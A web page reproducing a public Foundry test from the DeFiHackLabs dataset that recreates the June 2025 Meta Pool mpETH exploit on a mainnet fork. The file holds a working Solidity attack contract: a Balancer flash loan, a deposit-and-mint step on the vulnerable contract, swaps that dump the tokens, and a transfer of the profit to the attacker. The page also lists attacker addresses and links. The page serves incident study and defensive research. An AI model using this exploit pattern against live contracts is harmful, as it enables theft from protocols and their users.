Public reproduction file
src/test/2025-06/MetaPool_exp.sol
Public reproduction file for dataset entry MetaPool.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 25k USD8// Attacker : https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be989// Attack Contract : https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b8055442413610// Created Attack Contract: https://etherscan.io/address/0xC3D10bd8e051a2bE6408d18Be8464654F699a25a11// Vulnerable Contract : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad8171012// Attack Tx : https://etherscan.io/tx/0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa6914// @Info15// Vulnerable Contract Code : https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710#code17// @Analysis18// Post-mortem : https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit19// Twitter Guy : https://x.com/peckshield/status/193489518710245420620// Hacking God : N/A21pragma solidity ^0.8.0;23address constant BALANCER_VAULT = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;24address constant WETH_ADDR = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;25address constant MPETH_ADDR = 0x48AFbBd342F64EF8a9Ab1C143719b63C2AD81710;26address constant MPETH_TO_ETH_POOL = 0xdF261F967E87B2aa44e18a22f4aCE5d7f74f03Cc;27address constant UNISWAP_V3_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;29contract MetaPool is BaseTestWithBalanceLog {30 uint256 blocknumToForkFrom = 22722911 - 1;32 function setUp() public {33 vm.createSelectFork("mainnet", blocknumToForkFrom);34 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit35 fundingToken = address(0);36 }38 function testExploit() public balanceLog {39 //implement exploit code here40 MetaPoolExploit exploit = new MetaPoolExploit();41 exploit.start();43 uint256 amount = IMpEth(MPETH_ADDR).balanceOf(address(this));44 console.log("Attacker mpETH balance After exploit: ", amount);45 }47 receive() external payable {}48}50contract MetaPoolExploit {51 address attacker;52 constructor() {53 attacker = msg.sender;54 }55 function start() external {56 // Step 1: borrow 200 weth57 address[] memory tokens = new address[](1);58 tokens[0] = WETH_ADDR;59 uint256[] memory amounts = new uint256[](1);60 amounts[0] = 200 ether;61 IBalancerVault(BALANCER_VAULT).flashLoan(address(this), tokens, amounts, "");62 }64 function receiveFlashLoan(65 address[] memory tokens,66 uint256[] memory amounts,67 uint256[] memory feeAmounts,68 bytes memory data69 ) public {70 IWETH weth = IWETH(payable(WETH_ADDR));71 IMpEth mpEth = IMpEth(MPETH_ADDR);72 IMpEthPool mpEthPool = IMpEthPool(MPETH_TO_ETH_POOL);73 IV3SwapRouter v3SwapRouter = IV3SwapRouter(UNISWAP_V3_ROUTER);75 // Step 2: convert 107 weth to eth76 weth.withdraw(107 ether);78 // Step 3: convert 107 eth to ~97 mpeth79 uint256 amount = mpEth.depositETH{value: 107 ether}(address(this));80 mpEth.mint(amount, address(this));81 // 97,019,503,948,141,950,925 mpETH83 // Step 4: swap mpETH for ETH from mpETH / ETH pool84 mpEth.approve(MPETH_TO_ETH_POOL, type(uint256).max);85 mpEthPool.swapmpETHforETH(97 ether, 0);86 // ~96.36 eth87 mpEthPool.swapmpETHforETH(9.6 ether, 0);88 // ~9.64 eth90 // Step 5: swap mpETH for ETH from Uniswap V3 Router91 mpEth.approve(UNISWAP_V3_ROUTER, 1_000_000_000 ether);92 IV3SwapRouter.ExactInputSingleParams memory _params = IV3SwapRouter.ExactInputSingleParams({93 tokenIn: MPETH_ADDR,94 tokenOut: WETH_ADDR,95 fee: 100,96 recipient: address(this),97 amountIn: 10 ether,98 amountOutMinimum: 0,99 sqrtPriceLimitX96: 0100 });101 v3SwapRouter.exactInputSingle(_params);102 // 9999023359504975714104 // Step 6: ETH -> WETH105 uint256 ethBalance = address(this).balance;106 weth.deposit{value: ethBalance}();108 // Step 7: repay flash loan109 IWETH(payable(WETH_ADDR)).transfer(BALANCER_VAULT, 200 ether);111 // Step 8: WETH -> ETH112 uint256 wethBalance = IWETH(payable(WETH_ADDR)).balanceOf(address(this));113 IWETH(payable(WETH_ADDR)).withdraw(wethBalance);115 // Step 9: send ETH to attacker116 ethBalance = address(this).balance;117 payable(attacker).call{value: ethBalance}("");118 // 8.98 eth120 // Step 10: send mpETH to attacker121 uint256 mpEthBalance = IMpEth(MPETH_ADDR).balanceOf(address(this));122 IMpEth(MPETH_ADDR).transfer(attacker, mpEthBalance);123 }125 receive() external payable {}126}128interface IMpEth is IERC20 {129 function depositETH(address receiver) external payable returns (uint256);130 function mint(uint256 shares, address receiver) external;131}133interface IMpEthPool {134 function swapmpETHforETH(uint256 amount, uint256 minAmountOut) external;135}137interface IV3SwapRouter {138 struct ExactInputSingleParams {139 address tokenIn;140 address tokenOut;141 uint24 fee;142 address recipient;143 uint256 amountIn;144 uint256 amountOutMinimum;145 uint160 sqrtPriceLimitX96;146 }147 function exactInputSingle(148 ExactInputSingleParams calldata params149 ) external payable returns (uint256);150}Analysis
Dataset entry
Public Foundry test for “MetaPool” (2025-06-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-06/AAVEBoost_exp.solSame month in the dataset · 78 lines
- src/test/2025-06/BankrollNetwork_exp.solSame month in the dataset · 84 lines
- src/test/2025-06/BankrollStack_exp.solSame month in the dataset · 65 lines
- src/test/2025-06/BankrollStackPlus_exp.solSame month in the dataset · 168 lines
- src/test/2025-06/BasePricePool_exp.solSame month in the dataset · 135 lines
- src/test/2025-06/BitCrown_exp.solSame month in the dataset · 96 lines
- src/test/2025-06/FixedTokenBSwap_exp.solSame month in the dataset · 158 lines
- src/test/2025-06/Gangsterfinance_exp.solSame month in the dataset · 68 lines
- src/test/2025-06/GradientMakerPool_exp.solSame month in the dataset · 113 lines
- src/test/2025-06/HoldSafe_exp.solSame month in the dataset · 176 lines
- src/test/2025-06/InitcodeFactoryFees_exp.solSame month in the dataset · 233 lines
- src/test/2025-06/ParaSwapDAIApproval_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/PegaBall_exp.solSame month in the dataset · 104 lines
- src/test/2025-06/ResupplyFi_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/SiloFinance_exp.solSame month in the dataset · 201 lines
- src/test/2025-06/SinstakeZombie_exp.solSame month in the dataset · 138 lines
- src/test/2025-06/Stead_exp.solSame month in the dataset · 39 lines
- src/test/2025-06/TokenFactory_exp.solSame month in the dataset · 126 lines
- src/test/2025-06/TokenVault_exp.solSame month in the dataset · 130 lines
- src/test/2025-06/TSAggregatorGeneric_exp.solSame month in the dataset · 111 lines
- src/test/2025-06/unverified_8490_exp.solSame month in the dataset · 108 lines
- src/test/2025-06/unverified_b5cb_exp.solSame month in the dataset · 115 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x48f1d0f5831eb6e544f8cbde777b527b87a1be98
- Attack Contract
0xff13d5899aa7d84c10e4cd6fb030b80554424136
- Vulnerable Contract
0x48afbbd342f64ef8a9ab1c143719b63c2ad81710
- Attack Tx
0x57ee419a001d85085478d04dd2a73daa91175b1d7c11d8a8fb5622c56fd1fa69
- Post: https://www.coindesk.com/business/2025/06/17/liquid-staking-protocol-meta-pool-suffers-usd27m-exploit
- Twitter: https://x.com/peckshield/status/1934895187102454206
- Explorer: https://etherscan.io/address/0x48f1d0f5831eb6e544f8cbde777b527b87a1be98
- Explorer: https://etherscan.io/address/0xff13d5899aa7d84c10e4cd6fb030b80554424136
- Explorer: https://etherscan.io/address/0xC3D10bd8e051a2bE6408d18Be8464654F699a25a
- Explorer: https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710
- Explorer: https://etherscan.io/address/0x48afbbd342f64ef8a9ab1c143719b63c2ad81710#code
File record
- Name
- MetaPool
- Path
- src/test/2025-06/MetaPool_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6d080372f2cfeb1cfa909fefc777beada41aab81
- Language
- Solidity
- Size
- 151 lines
- Date
- 2025-06-17
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-06/MetaPool_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6d080372f2cfeb1cfa909fefc777beada41aab81, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.